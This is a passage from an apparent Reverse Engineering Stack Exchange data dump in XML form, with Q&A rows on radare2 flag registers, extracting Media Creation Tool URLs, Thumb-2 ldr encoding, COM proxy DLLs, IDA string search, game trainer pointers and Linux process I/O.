  <row Id="18026" PostTypeId="2" ParentId="18025" CreationDate="2018-04-17T20:58:21.573" Score="1" Body="&lt;p&gt;doesn't google give you that i see a million hits :( &lt;a href=&quot;https://en.wikipedia.org/wiki/FLAGS_register&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://en.wikipedia.org/wiki/FLAGS_register&lt;/a&gt;   CPAZSTID carry , parity , adjust , zero, sign , trap , interrup , direction&lt;/p&gt;&#xA;&#xA;&lt;p&gt;radare can tell what they mean&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;only interrupt flag cant be disabled 0x200&#xA;[0x77d570d8]&amp;gt; dr cf=0;dr pf=0 ;dr af=0;dr zf=0;dr sf=0;dr tf=0; dr df=0; dr of=0; dr=&#xA; eflags I            esp 0x001efa90&#xA;&#xA;[0x77d570d8]&amp;gt; dr cf=1;dr pf=0 ;dr af=0;dr zf=0;dr sf=0;dr tf=0; dr df=0; dr of=0; dr=&#xA; eflags CI           esp 0x001efa90&#xA;&#xA;[0x77d570d8]&amp;gt; dr cf=1;dr pf=1 ;dr af=0;dr zf=0;dr sf=0;dr tf=0; dr df=0; dr of=0; dr=&#xA; eflags CPI          esp 0x001efa90&#xA;&#xA;[0x77d570d8]&amp;gt; dr cf=1;dr pf=1 ;dr af=1;dr zf=0;dr sf=0;dr tf=0; dr df=0; dr of=0; dr=&#xA; eflags CPAI         esp 0x001efa90&#xA;&#xA;[0x77d570d8]&amp;gt; dr cf=1;dr pf=1 ;dr af=1;dr zf=1;dr sf=0;dr tf=0; dr df=0; dr of=0; dr=&#xA; eflags CPAZI        esp 0x001efa90&#xA;&#xA;[0x77d570d8]&amp;gt; dr cf=1;dr pf=1 ;dr af=1;dr zf=1;dr sf=1;dr tf=0; dr df=0; dr of=0; dr=&#xA; eflags CPAZSI       esp 0x001efa90&#xA;&#xA;[0x77d570d8]&amp;gt; dr cf=1;dr pf=1 ;dr af=1;dr zf=1;dr sf=1;dr tf=1; dr df=0; dr of=0; dr=&#xA; eflags CPAZSTI      esp 0x001efa90&#xA;&#xA;[0x77d570d8]&amp;gt; dr cf=1;dr pf=1 ;dr af=1;dr zf=1;dr sf=1;dr tf=1; dr df=1; dr of=0; dr=&#xA; eflags CPAZSTID     esp 0x001efa90&#xA;&#xA;[0x77d570d8]&amp;gt; dr cf=1;dr pf=1 ;dr af=1;dr zf=1;dr sf=1;dr tf=1; dr df=1; dr of=1; dr=&#xA; eflags CPAZSTIDO    esp 0x001efa90&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and radare can print the name of flags also &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\&amp;gt; radare2 - -Q -c drl | tail -n 15&#xA;eflags&#xA;flags&#xA;cf&#xA;pf&#xA;af&#xA;zf&#xA;sf&#xA;tf&#xA;if&#xA;df&#xA;of&#xA;nt&#xA;rf&#xA;vm&#xA;&#xA;C:\&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2018-04-17T22:25:43.930" LastActivityDate="2018-04-17T22:25:43.930" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18028" PostTypeId="1" AcceptedAnswerId="18034" CreationDate="2018-04-18T13:40:37.820" Score="2" ViewCount="1516" Body="&lt;p&gt;In this Superuser topic &lt;a href=&quot;https://superuser.com/questions/1220373/&quot;&gt;Windows 10 Media Creation Tool, how does it work?&lt;/a&gt;, it is possible to extract the URL from SetupMgr.dll. My question is, how do I extract this URL from SetupMgr.dll? I want to be able to do this in future versions of the Media Creation Tool.&lt;/p&gt;&#xA;" OwnerUserId="24075" LastEditorUserId="23069" LastEditDate="2018-04-19T08:26:30.113" LastActivityDate="2018-04-30T17:54:56.510" Title="Decompile a DLL file from Microsoft Media Creation Tool" Tags="|dll|decompile|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18029" PostTypeId="1" CreationDate="2018-04-18T19:46:45.677" Score="1" ViewCount="308" Body="&lt;p&gt;I saw here &lt;a href=&quot;http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.dui0489c/CIHDGFEG.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.dui0489c/CIHDGFEG.html&lt;/a&gt; that on arm thumb2 ldr must be multiple of 4.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I run on arm thumb 2  and want run this instruction &lt;code&gt;ldr r0, [pc, #0x13]&lt;/code&gt; .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I trunslate in to &lt;code&gt;DFF81300&lt;/code&gt; and that works, even 0x13 is not multiple of 4.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is that?   &lt;/p&gt;&#xA;" OwnerUserId="23685" LastActivityDate="2018-04-18T21:31:39.223" Title="Ldr arm thumb2 must be multiple of 4?" Tags="|binary-analysis|arm|binary-editing|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18030" PostTypeId="1" AcceptedAnswerId="18035" CreationDate="2018-04-18T20:13:38.573" Score="2" ViewCount="569" Body="&lt;p&gt;I've successfully reverse a DLL file which uses a COM interface and found the Class ID (CLSID) and Interface ID (IID). In Visual Studio debugging memory, it shows &lt;code&gt;S_OK&lt;/code&gt; with &lt;code&gt;CoCreateInstance()&lt;/code&gt; and all the function pointers of that COM interface. I saw this &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/2530/what-are-general-guide-lines-for-reversing-com-objects&quot;&gt;question&lt;/a&gt; but that uses IDA to reverse a DLL.&lt;/p&gt;&#xA;&lt;p&gt;I've followed an &lt;a href=&quot;https://web.archive.org/web/20070428122627/http://geekswithblogs.net:80/hdevos/archive/2004/03/15/2936.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;article&lt;/a&gt; which shows finding methods definition using Visual Studio debug mode. I've both CLSID and IID from which I get the interface pointer.&lt;/p&gt;&#xA;&lt;p&gt;So, my question is how can I find the (undocumented) function definitions? Is there any easy general guidelines to follow? It will be easy if someone show an procedure with Visual Studio, reversing with IDA is bit more complex.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; According to the answer I reverse the DLL in IDA but the assembly shows the&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;off_180002230   dq offset off_1800023D0 ; DATA XREF: .rdata:off_180002480↓o&#xA;                dq offset ILxssUserSession&#xA;                dq offset IUnknown_QueryInterface_Proxy&#xA;                dq offset IUnknown_AddRef_Proxy&#xA;                dq offset IUnknown_Release_Proxy&#xA;                dq offset ObjectStublessClient3&#xA;                dq offset ObjectStublessClient4&#xA;                dq offset ObjectStublessClient5&#xA;                dq offset ObjectStublessClient6&#xA;                dq offset ObjectStublessClient7&#xA;                dq offset ObjectStublessClient8&#xA;                dq offset ObjectStublessClient9&#xA;                dq offset ObjectStublessClient10&#xA;                dq offset ObjectStublessClient11&#xA;                dq offset ObjectStublessClient12&#xA;                dq offset ObjectStublessClient13&#xA;                dq offset ObjectStublessClient14&#xA;unk_1800022B8   db  22h ; &amp;quot;             ; DATA XREF: .rdata:0000000180002DE0↓o&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;How can I relate those offset to a real function pointer? The current DLL is a proxy stub DLL and the real function is implemented/defined in another DLL. I've also seen this &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/2822/com-interface-methods&quot;&gt;question&lt;/a&gt; which shows to follow function pointers.&lt;/p&gt;&#xA;" OwnerUserId="23069" LastEditorUserId="1323" LastEditDate="2022-07-19T02:04:39.860" LastActivityDate="2022-07-19T02:04:39.860" Title="What are guidelines to find COM functions definition through a proxy DLL?" Tags="|debugging|com|" AnswerCount="1" CommentCount="1" ClosedDate="2018-05-25T13:04:54.243" ContentLicense="CC BY-SA 4.0" />
  <row Id="18031" PostTypeId="2" ParentId="18029" CreationDate="2018-04-18T21:31:39.223" Score="2" Body="&lt;p&gt;The instruction generated by your assembler for ldr is in fact ldr.w, a 32-bit Thumb 2 instruction, as you can see in the encoding using four bytes. In my experience, ARM assemblers try to be intelligent and figure out the best (or only) working instruction encoding - especially when using unified syntax.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The four byte alignment is only a restriction for ldr instructions encoded as 16 bit instructions (footnote [b] in the document you linked). I suppose this restriction was made due to restricted encoding space for the constant offset in a 16 bit opcode, so the thumb instruction set designers went for a larger possible offset here.&lt;/p&gt;&#xA;" OwnerDisplayName="user22967" LastActivityDate="2018-04-18T21:31:39.223" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18032" PostTypeId="2" ParentId="4693" CreationDate="2018-04-18T22:45:12.240" Score="6" Body="&lt;p&gt;Easy &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;form = idaapi.find_tform(&quot;Output window&quot;)&#xA;idaapi.switchto_tform(form, True);&#xA;idaapi.process_ui_action(&quot;msglist:Clear&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14279" LastActivityDate="2018-04-18T22:45:12.240" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18033" PostTypeId="1" AcceptedAnswerId="18036" CreationDate="2018-04-19T07:06:40.373" Score="1" ViewCount="7700" Body="&lt;p&gt;I have the compiled code with all .pdb, vshost and everything that is generated.&#xA;I am already using DotPeek without too much hassle. Would like to know If I can retrieve the original code with all the pdb and vshost files generated from compilation with the original names.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know pdb maps your compiled exe to the original source code you have in visual studio to make debugging available. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So basically pdb should be a &quot;map&quot; to what you wrote in visual studio and the optimized binary you have, that results in a CIL/C# code in DotPeek decompiled source.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a way with those files to retrieve the code in a non-optimized way (or to say differently, like it was in visual studio original source?)&lt;/p&gt;&#xA;&#xA;#&#xA;&#xA;&lt;p&gt;EDIT&lt;/p&gt;&#xA;&#xA;#&#xA;&#xA;&lt;p&gt;Well, it seems it's not possible. Peace :)&lt;/p&gt;&#xA;" OwnerUserId="24083" LastEditorUserId="24083" LastEditDate="2018-05-02T10:41:06.907" LastActivityDate="2018-05-02T10:41:06.907" Title=".NET: It's possible to recover original source code from compiled .exe when I have all the .vshost, .pdb and compiled files?" Tags="|decompilation|.net|pdb|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="18034" PostTypeId="2" ParentId="18028" CreationDate="2018-04-19T07:26:31.357" Score="4" Body="&lt;p&gt;&lt;strong&gt;Disclaimer:&lt;/strong&gt; The following links are for Fall Creators Update and may be change in future updates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Download the Media Creation Tool from &lt;a href=&quot;https://www.microsoft.com/en-US/software-download/windows10&quot; rel=&quot;nofollow noreferrer&quot;&gt;Microsoft website&lt;/a&gt;. Open the executable in &lt;a href=&quot;https://www.7-zip.org/download.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;7ZIP&lt;/a&gt; and extract all the files in a folder. Then download &lt;a href=&quot;https://docs.microsoft.com/en-us/sysinternals/downloads/strings&quot; rel=&quot;nofollow noreferrer&quot;&gt;Strings from Sysinternals&lt;/a&gt; and place it in that previous folder whre you've extracted files. Open Command Prompt in that folder and run this command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;For /R %X in (*.*) do (Strings.exe %X) | find /i &quot;LinkID&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This command searches all the strings in all files recursively and shows the strings containing &quot;LinkID&quot; (piped to &lt;code&gt;find /i&lt;/code&gt;). Open all the URLs in any browser and one of them (total 7 or 8 links) will download the Products.CAB or Products.XML file which contains &lt;em&gt;all Windows ESD download links&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, extract the &lt;strong&gt;SetupMgr.dll&lt;/strong&gt; file from MediaCreationTool.exe as above. Then open that DLL in IDA. Press &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;F12&lt;/kbd&gt; to open strings window and find &lt;code&gt;LinkID&lt;/code&gt;. There will be two strings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/NFdqj.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/NFdqj.png&quot; alt=&quot;LinkID_in_IDA&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;The Link for Products.CAB: &lt;strong&gt;&lt;a href=&quot;https://go.microsoft.com/fwlink/?LinkId=841361&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://go.microsoft.com/fwlink/?LinkId=841361&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;This LinkID redirected to another direct download link (&lt;strong&gt;may not work in future&lt;/strong&gt;):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://wscont.apps.microsoft.com/winstore/OSUpgradeNotification/MediaCreationTool/prod/Products_20170317.cab&quot; rel=&quot;nofollow noreferrer&quot;&gt;products_20170317.cab&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://download.microsoft.com/download/3/8/9/38926395-6FB1-4487-83DF-4241D2EA79F7/products_20171005.cab&quot; rel=&quot;nofollow noreferrer&quot;&gt;products_20171005.cab&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://download.microsoft.com/download/3/2/3/323D0F94-95D2-47DE-BB83-1D4AC3331190/products_20180105.cab&quot; rel=&quot;nofollow noreferrer&quot;&gt;products_20180105.cab&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://download.microsoft.com/download/6/2/6/626729CF-8C1C-43DF-8C9C-AD2FD56948C3/products_20180420.cab&quot; rel=&quot;nofollow noreferrer&quot;&gt;products_20180420.cab&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Tip:&lt;/strong&gt; Check the real file type of MediaCreaTool.exe using the following &lt;a href=&quot;https://www.7-zip.org/download.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;7ZIP&lt;/a&gt; command and that will be CAB type.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;7z t MediaCreationTool.exe | find /i &quot;type&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&#xA;" OwnerUserId="23069" LastEditorUserId="23069" LastEditDate="2018-04-30T17:54:56.510" LastActivityDate="2018-04-30T17:54:56.510" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18035" PostTypeId="2" ParentId="18030" CreationDate="2018-04-19T07:59:07.013" Score="3" Body="&lt;p&gt;Well, in general you follow the code flow from DllGetClassObject and find the code which creates COM classes depending on clsid and iid. Due to COM methods are virtual methods of C++ class, you'll be able to find VTBL for each COM class, and from there determine how many methods it has. Then you reverse each method to understand how many arguments it has and which are the types of arguments.&lt;/p&gt;&#xA;" OwnerUserId="22324" LastActivityDate="2018-04-19T07:59:07.013" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="18036" PostTypeId="2" ParentId="18033" CreationDate="2018-04-19T08:46:52.003" Score="1" Body="&lt;p&gt;While PDBs will certainly &lt;em&gt;help&lt;/em&gt; in decompilation (e.g. with you may be able to recover names of functions, classes, and maybe even local variables), they don't contain the original source code and other things unnecessary for debugging (such as comments).&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2018-04-19T08:46:52.003" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18037" PostTypeId="2" ParentId="3304" CreationDate="2018-04-19T12:49:42.663" Score="1" Body="&lt;p&gt;This has been  lying unanswered for year now&lt;br&gt;&#xA;hit enter &#xA;or right click and follow code in cpu if double clicking doesnt work&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/sjt5m.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/sjt5m.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2018-04-19T12:49:42.663" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18039" PostTypeId="1" AcceptedAnswerId="18049" CreationDate="2018-04-19T22:24:01.753" Score="1" ViewCount="264" Body="&lt;p&gt;I am learning about how the call stack works by reverse engineering binaries using Radare2 (in a Linux environment). The ISA on the server (a P5 micro-architecture) I am analyzing binaries off of is x86 (Intel syntax). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say I want to print a very simple string to the console by compiling a C program named &lt;code&gt;hello.c&lt;/code&gt; in to an executable:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int main()&#xA;{&#xA;    printf(&quot;Hello world!&quot;);&#xA;&#xA;    return (0);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How does the CPU transfer the data containing the &quot;Hello world!&quot; string from the stack space reserved for the &lt;code&gt;hello&lt;/code&gt; executable in memory to the console output?&lt;/p&gt;&#xA;" OwnerUserId="24090" LastEditorUserId="24090" LastEditDate="2018-05-10T07:01:37.893" LastActivityDate="2018-05-10T07:01:37.893" Title="How is data transferred from the process’ memory to the console screen?" Tags="|x86|memory|stack|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="18041" PostTypeId="1" AcceptedAnswerId="18042" CreationDate="2018-04-20T05:25:12.430" Score="20" ViewCount="21729" Body="&lt;p&gt;In all versions of IDA, I can't seem to be able to search for unicode strings. When reversing programs, I constantly see unicode strings that could have really helped if I could see them in the strings window, but I can't. Anyone have a solution?&lt;/p&gt;&#xA;" OwnerDisplayName="user24091" LastActivityDate="2021-05-29T05:00:26.720" Title="How do you search for unicode strings?" Tags="|ida|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18042" PostTypeId="2" ParentId="18041" CreationDate="2018-04-20T05:37:40.187" Score="23" Body="&lt;p&gt;Enter the &quot;strings window&quot; by either press &lt;kbd&gt;shift&lt;/kbd&gt;+&lt;kbd&gt;F12&lt;/kbd&gt; or go to &lt;code&gt;View &amp;gt; Open Subviews &amp;gt; Strings&lt;/code&gt; in the toolbar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, in the strings window, press Right Click and choose &quot;Setup...&quot;. Check &quot;Unicode&quot; and press &quot;OK&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/haSxC.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/haSxC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18698" LastActivityDate="2018-04-20T05:37:40.187" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18045" PostTypeId="1" AcceptedAnswerId="18047" CreationDate="2018-04-20T16:15:57.903" Score="10" ViewCount="1854" Body="&lt;p&gt;How can I display any standard write in visual mode. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example if I run &lt;code&gt;dc&lt;/code&gt; command it runs the program normally and displays all the text normally. But if I enter visual mode with &lt;code&gt;V&amp;lt; enter &amp;gt;&lt;/code&gt; and use &lt;code&gt;S&lt;/code&gt; to run through the program it displays the output maybe a 1/10th of a second:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/5tUnM.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/5tUnM.gif&quot; alt=&quot;What I see in visual mode&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I have it display it for longer, or enter a command and see what has been printed to stdout so far?&lt;/p&gt;&#xA;" OwnerUserId="24097" LastEditorUserId="28285" LastEditDate="2019-04-30T07:25:09.793" LastActivityDate="2019-04-30T07:25:09.793" Title="Radare2- How to see stdout in Visual Mode" Tags="|radare2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18046" PostTypeId="1" AcceptedAnswerId="18048" CreationDate="2018-04-20T16:42:18.853" Score="5" ViewCount="937" Body="&lt;p&gt;Why do most hackers/modders use pointers instead of editing the static region of the game executable? For example I downloaded so many trainers and I can see most of them are using pointers. I prefer to set a break point on the value and track the caller function, this works 100% of the time where I only have to &lt;code&gt;nop&lt;/code&gt; the instruction or alter it or at worst make my subroutine and code cave it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a downside with my method that i'm not aware of?&lt;/p&gt;&#xA;" OwnerUserId="11482" LastActivityDate="2018-04-21T10:44:21.257" Title="Game cheating: Pointers vs Static memory editing" Tags="|pointer|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18047" PostTypeId="2" ParentId="18045" CreationDate="2018-04-20T18:49:16.040" Score="6" Body="&lt;p&gt;I'm afraid there's no straight way to do so. You'll need to use &lt;a href=&quot;https://radare.gitbooks.io/radare2book/content/introduction/overview.html#rarun2&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;rarun2&lt;/code&gt;&lt;/a&gt; or radare's &lt;code&gt;dd&lt;/code&gt; command.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I prefer the rarun2 way, it is more flexible and simple.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From &lt;code&gt;man rarun2&lt;/code&gt; output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  Debugging a program redirecting io to another terminal&#xA;&#xA;   ## open a new terminal and type 'tty' to get&#xA;   $ tty ; clear ; sleep 999999&#xA;   /dev/ttyS010&#xA;&#xA;   ## in another terminal run r2&#xA;   $ r2 -e dbg.profile=foo.rr2 -d ls&#xA;&#xA;   ## or you can use -R option&#xA;   $ r2 -R foo.rr2 -d ls&#xA;   $ cat foo.rr2&#xA;   #!/usr/bin/rarun2&#xA;   stdio=/dev/ttys010&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For a step-by-step guide and more detailed answer, check my answer to a similar question &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/16428/debugging-with-radare2-using-two-terminals/16430#16430&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;dd&lt;/code&gt; can be used to change file descriptors at runtime:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00000000]&amp;gt; dd?&#xA;|Usage: dd Descriptors commands&#xA;| dd                   List file descriptors&#xA;| dd &amp;lt;file&amp;gt;            Open and map that file into the UI&#xA;| dd-&amp;lt;fd&amp;gt;              Close stdout fd&#xA;| dd*                  List file descriptors (in radare commands)&#xA;| dds &amp;lt;fd&amp;gt; &amp;lt;off&amp;gt;       Seek given fd)&#xA;| ddd &amp;lt;fd1&amp;gt; &amp;lt;fd2&amp;gt;      Dup2 from fd1 to fd2&#xA;| ddr &amp;lt;fd&amp;gt; &amp;lt;size&amp;gt;      Read N bytes from fd&#xA;| ddw &amp;lt;fd&amp;gt; &amp;lt;hexpairs&amp;gt;  Write N bytes to fd&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18698" LastActivityDate="2018-04-20T18:49:16.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18048" PostTypeId="2" ParentId="18046" CreationDate="2018-04-20T19:08:57.477" Score="5" Body="&lt;p&gt;There are many reasons for this. I'll jot down a bunch that I can think of off the top of my head.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Many hackers use things like Cheat Engine's built-in automatic pointer scanning functionality because it's easy. Even if they don't understand what's going on, the YouTube videos and/or tutorials they've followed in the past have pigeonholed their approach.&lt;/li&gt;&#xA;&lt;li&gt;Pointers tend to be easier to code into trainers than, say, an advanced script that requires code-caving/memory allocation to provision for a code injection. This is a subjective point, but something I've noticed. Of course, if all that's needed is to overwrite X number of bytes with NOPs and the person didn't do that, well, see my first point above or the last bit of point 5 below.&lt;/li&gt;&#xA;&lt;li&gt;Depending on the functionality of any given trainer, they may be choosing to give the user more flexibility with a value than simply NOP-ing or modifying writes/reads.&lt;/li&gt;&#xA;&lt;li&gt;There are countless trainer templates and libraries out there that make the process of making trainers as cookie-cutter as possible. Many of them emphasize the use of pointers to make trainer generation as straight-forward as possible.&lt;/li&gt;&#xA;&lt;li&gt;Depending on where you obtained the trainers from, between CE's pointer scanning functionality and custom tooling that more prominent cheat makers make use of, it's just faster for some to go the pointer route so as to get a trainer out there ASAP and not have to initially worry about bugs/testing requisite of fleshing out script-based cheats.&lt;/li&gt;&#xA;&lt;li&gt;Cheat persistence across game updates, possibly. Pointers are as apt to change as anything else with an update of a game's code, but it's worth a mention insofar as what someone could be thinking with their choice.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;There are plenty more, but hopefully that will get you thinking in directions as to why someone might choose pointers over something script-based.&lt;/p&gt;&#xA;" OwnerUserId="20928" LastEditorUserId="20928" LastEditDate="2018-04-20T20:15:13.530" LastActivityDate="2018-04-20T20:15:13.530" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18049" PostTypeId="2" ParentId="18039" CreationDate="2018-04-20T19:13:37.153" Score="2" Body="&lt;p&gt;To print to the terminal, a process started by the shell performs file I/O by making a &lt;code&gt;write()&lt;/code&gt; system call using the already open &lt;code&gt;stdout&lt;/code&gt; file descriptor inherited from the shell (the parent process).&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;For the process that manages this program, how is the data containing the &quot;Hello world!&quot; string transferred from the stack in memory to the child process of the shell?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;this question is nonsense because the &quot;hello world&quot; process is the child process. The parent process is the shell, since the shell was the process that started the &quot;hello world&quot; process. When printing to the terminal (&lt;code&gt;STDOUT&lt;/code&gt;), the child process is sending data to the parent process (the shell).&lt;/li&gt;&#xA;&lt;li&gt;take a look at the binary and look at the disassembly of the &lt;code&gt;main()&lt;/code&gt; function. The &quot;hello world&quot; string is hardcoded in the &lt;code&gt;.rodata&lt;/code&gt; section of the binary. It is not written to the stack at any point. In &lt;code&gt;main()&lt;/code&gt;, a &lt;em&gt;pointer&lt;/em&gt; to its location is written to the stack as an argument to the  &lt;code&gt;printf&lt;/code&gt; function. &lt;/li&gt;&#xA;&lt;li&gt;the runtime stack of a process is a space in virtual memory whose use is managed by the compiler. The stack is written to and read from by the CPU, which executes the instructions generated by the compiler. The stack does not perform any sort of action or computation; this is the purpose of the CPU. You should read the Q&amp;amp;A here: &lt;a href=&quot;https://cs.stackexchange.com/questions/76871/how-are-variables-stored-in-and-retrieved-from-the-program-stack/76874#76874&quot;&gt;How are variables stored in and retrieved from the program stack?&lt;/a&gt;. Note that if a programming language does not permit recursion, a stack is not even required.&lt;/li&gt;&#xA;&lt;li&gt;&lt;blockquote&gt;&#xA;  &lt;p&gt;A &lt;em&gt;shell&lt;/em&gt; is a special-purpose program designed to read commands typed by a user and execute appropriate programs in response to those commands. Such a program is sometimes known as a &lt;em&gt;command interpreter&lt;/em&gt;.&lt;sup&gt;1&lt;/sup&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;When you type &lt;code&gt;$ ./hello&lt;/code&gt;, the shell will read this command and proceed to call &lt;a href=&quot;http://man7.org/linux/man-pages/man2/fork.2.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;fork&lt;/code&gt;&lt;/a&gt; and &lt;a href=&quot;http://man7.org/linux/man-pages/man3/exec.3.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;exec&lt;/code&gt;&lt;/a&gt; to start a new process (I strongly urge you to read &lt;a href=&quot;https://stackoverflow.com/questions/1653340/differences-between-fork-and-exec&quot;&gt;Differences between fork and exec&lt;/a&gt;). &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Since each process occupies its own space in virtual memory and is as a result isolated from every other process, the shell and the new process started by the shell must use services provided by the kernel in order to share data&lt;/strong&gt;. The Linux I/O model provides one way for processes to communicate with each other using &lt;em&gt;file descriptors&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;All system calls for performing I/O refer to open files using a file descriptor, a (usually small) nonnegative integer. File descriptors are used to refer to all types of open files, including pipes, FIFOs, sockets, terminals, devices, and regular files. Each process has its own set of file descriptors. &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;By convention, most programs expect to be able to use the three standard file descriptors listed in Table 4-1. These three descriptors are opened on the program’s behalf by the shell, before the program is started. Or, more precisely, the program inherits copies of the shell’s file descriptors, and the shell normally operates with these three file descriptors always open. (In an interactive shell, these three file&#xA;  descriptors normally refer to the terminal under which the shell is running.) If I/O redirections are specified on a command line, then the shell 